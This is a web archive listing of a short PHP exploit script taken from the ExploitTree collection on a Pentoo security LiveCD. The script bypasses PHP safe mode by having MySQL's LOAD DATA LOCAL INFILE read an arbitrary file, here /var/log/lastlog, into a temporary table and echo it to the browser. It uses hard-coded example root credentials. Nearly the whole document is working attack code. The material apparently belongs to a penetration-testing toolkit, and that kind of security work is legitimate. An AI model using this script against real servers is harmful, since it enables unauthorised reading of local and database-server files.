home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / interpreter / php / safemodexploit.php < prev   
PHP Script  |  2005-02-12  |  1KB  |  61 lines

  1. <?
  2.  
  3. /*
  4.    PHP Safe Mode Problem
  5.  
  6.    This script will connect to a database server running locally or
  7. otherwise,
  8.    create a temporary table with one column, use the LOAD DATA statement
  9. to
  10.    read a (possibly binary) file, then reads it back to the client.
  11.  
  12.    Any type of file may pass through this 'proxy'. Although unrelated,
  13. this
  14.    may also be used to access files on the DB server (although they must
  15. be
  16.    world-readable or in MySQLd's basedir, according to docs).
  17. */
  18.  
  19.  
  20. $host = 'localhost';
  21. $user = 'root';
  22. $pass = 'letmein';
  23. $db   = 'test_database';
  24.  
  25. $filename = '/var/log/lastlog';     /* File to grab from [local] server */
  26. $local = true;                      /* Read from local filesystem */
  27.  
  28. $local = $local ? 'LOCAL' : '';
  29.  
  30.  
  31. $sql = array (
  32.    "USE $db",
  33.  
  34.    'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  35.  
  36.    "LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
  37.    . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  38.    . "ESCAPED BY          '' "
  39.    . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  40.  
  41.    "SELECT a FROM $tbl LIMIT 1"
  42. );
  43.  
  44. Header ('Content-type: text/plain');
  45.  
  46. mysql_connect ($host, $user, $pass);
  47.  
  48. foreach ($sql as $statement) {
  49.    $q = mysql_query ($statement);
  50.  
  51.    if ($q == false) die (
  52.       "FAILED: " . $statement . "\n" .
  53.       "REASON: " . mysql_error () . "\n"
  54.    );
  55.  
  56.    if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  57.  
  58.    echo $r [0];
  59.    mysql_free_result ($q);
  60. }
  61.